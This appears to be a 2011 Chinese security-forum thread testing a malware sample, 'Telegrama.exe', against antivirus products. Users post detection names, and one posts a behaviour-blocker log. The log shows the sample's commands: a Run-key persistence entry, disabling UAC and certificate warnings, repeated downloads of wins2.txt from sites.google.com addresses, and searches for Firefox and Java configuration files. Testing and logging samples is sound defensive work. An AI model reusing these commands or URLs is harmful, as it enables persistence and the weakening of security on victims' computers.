Telegrama.exe

ADSLgg

红伞miss，to

chihhua

Generic.Malware.SB.863B43F6 (引擎A)

【乱】

一晴空 发表于 2011-10-16 07:29
comodo的防御不会和金山冲突？

不会 金山+comodo防火墙 中国云+外国云  杀软配墙

qianyuqx

to mse

kkgh

费尔  TrojanDldr.BAT.Agent.ja.kium.arc

qianyuqx

to rising

will

Virus: Generic.Malware.SB.863B43F6 (Engine A)

Virus found while downloading content from the web.

hddu

2011-10-18 15:20:02    运行应用程序      操作:允许
进程路径:F:\virus\Telegrama_0\Telegrama_0.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\gbplugingb.exe
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:20:05    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\Local Settings\Temp\gbplugingb.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c ""C:\Documents and Settings\Administrator\Local Settings\Temp\14.tmp\windowslive.bat" "
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2011-10-18 15:20:06    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Lives" /t REG_SZ /d "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\gbplugingb.exe" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe


2011-10-18 15:20:06    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe


2011-10-18 15:20:06    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
触发规则:所有程序规则->系统程序设置->*\reg.exe


2011-10-18 15:20:06    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\dw.exe
命令行:http://sites.google.com/site/miguxos001/wins2.txt "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:20:30    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cscript /nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:20:30    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cscript.exe
命令行:/nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->系统程序设置->%windir%\system32\*script.exe


2011-10-18 15:20:31    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\dw.exe
命令行:http://sites.google.com/site/angolasim/wins2.txt "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:20:57    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cscript /nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:20:57    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cscript.exe
命令行:/nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->系统程序设置->%windir%\system32\*script.exe


2011-10-18 15:20:58    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\dw.exe
命令行:http://sites.google.com/site/angolalol/wins2.txt "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:21:22    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cscript /nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:21:22    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cscript.exe
命令行:/nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->系统程序设置->%windir%\system32\*script.exe


2011-10-18 15:21:23    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\dw.exe
命令行:http://sites.google.com/site/angolaboa/wins2.txt "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:21:48    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cscript /nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:21:49    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cscript.exe
命令行:/nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->系统程序设置->%windir%\system32\*script.exe


2011-10-18 15:21:51    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cscript /nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:21:51    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cscript.exe
命令行:/nologo "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Administrator.vbs" "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wins2.txt"
触发规则:所有程序规则->系统程序设置->%windir%\system32\*script.exe


2011-10-18 15:21:52    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\dw.exe
命令行:"" "Administratori.txt"
触发规则:所有程序规则->其它程序设置->*\Temp\*


2011-10-18 15:21:52    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c dir "\Documents and Settings\Administrator\.." /b /s | find "prefs.js"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:21:53    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/S /D /c" dir "\Documents and Settings\Administrator\.." /b /s "
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:21:53    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\find.exe
命令行:"prefs.js"
触发规则:应用程序规则->程序->?:\*


2011-10-18 15:22:12    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c dir "\Documents and Settings\Administrator\.." /b /s | find "prefs.js"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:22:12    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/S /D /c" dir "\Documents and Settings\Administrator\.." /b /s "
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:22:12    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\find.exe
命令行:"prefs.js"
触发规则:应用程序规则->程序->?:\*


2011-10-18 15:22:19    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c dir /b /s | find /i "java.policy"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:22:20    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/S /D /c" dir /b /s "
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:22:20    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\find.exe
命令行:/i "java.policy"
触发规则:应用程序规则->程序->?:\*


2011-10-18 15:23:40    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c dir "C:\Program Files\" /b /s | find "mozalloc.dll"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:23:40    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/S /D /c" dir "C:\Program Files\" /b /s "
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe


2011-10-18 15:23:41    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\find.exe
命令行:"mozalloc.dll"
触发规则:应用程序规则->程序->?:\*


2011-10-18 15:23:45    创建文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\~0
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-10-18 15:23:45    修改文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\~0
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-10-18 15:23:49    修改文件      操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Administrator.reg
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-10-18 15:24:12    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\regedit.exe
命令行:/s "C:\Documents and Settings\Administrator\Application Data\Administrator.reg"
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\regedit.exe

吴茗123

下载过程没反应，TF+MSE，但扫描MSE杀之。